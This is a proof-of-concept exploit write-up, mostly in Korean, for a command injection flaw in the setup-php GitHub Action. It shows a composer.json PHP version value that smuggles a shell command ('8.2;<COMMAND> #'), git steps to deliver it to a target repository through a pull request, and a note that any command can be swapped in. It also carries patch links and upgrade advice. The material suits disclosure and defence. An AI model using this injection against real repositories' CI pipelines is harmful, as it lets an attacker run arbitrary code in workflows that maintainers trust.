
PoC for CVE-2026-46420, command injection in shivammathur/setup-php via repository-controlled PHP version resolution.
저장소에서 관리하는 파일로부터 PHP 버전을 로드할 때 shivammathur/setup-php에서 발생하는 명령어 삽입(Command injection) 취약점입니다.
영향 받는 버전:
>= 2.25.0, < 2.37.1
수정된 버전:
>= 2.37.1
대상 저장소에는 이미 취약한 워크플로우가 있어서, Pull Request 내용을 체크아웃하고 [email protected]을 실행합니다.
공격자는 composer.json만 변경합니다.
-"php": "8.2"
+"php": [
+ "8.2;sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example #"
+]
setup-php가 composer.json에서 PHP 버전을 읽을 때, 삽입된 명령어가 생성된 셸 스크립트에 포함되어 실행됩니다.
결과:
-FEATURE_FLAG=off
+FEATURE_FLAG=modified-by-poc
대상 저장소에서 브랜치를 생성합니다:
git checkout -b poc-test
깨끗한 composer.json을 PoC 버전으로 교체합니다:
cp attacker/composer.json composer.json
커밋하고 푸시합니다:
git add composer.json
git commit -m "update composer config"
git push -u origin poc-test
poc-test에서 main으로 Pull Request를 엽니다.
Actions 실행 결과, setup-php 단계에서 demo-app/.env.example이 수정된 것을 확인할 수 있습니다.
Payload 형식은 다음과 같습니다:
8.2;<COMMAND> #
현재 Payload:
8.2;sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example #
실행되는 명령어는 다음과 같습니다:
sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example
PoC의 동작을 변경하려면 8.2;와 # 사이의 명령어를 교체하십시오.
파일 생성:
8.2;touch poc-executed #
파일 쓰기:
8.2;printf 'poc executed\n' > poc-result.txt #
명령어 출력:
8.2;id #
예시 composer.json:
{
"config": {
"platform": {
"php": [
"8.2;touch poc-executed #"
]
}
}
}
[email protected] 이상으로 업그레이드하십시오.
동일한 Payload는 패치된 버전에서 거부됩니다.
https://github.com/shivammathur/setup-php/security/advisories/GHSA-pqwm-q9pv-ph8r
https://github.com/shivammathur/setup-php/commit/eeef37e059fb5368a5bc8ed8ce45ff54bd39b80b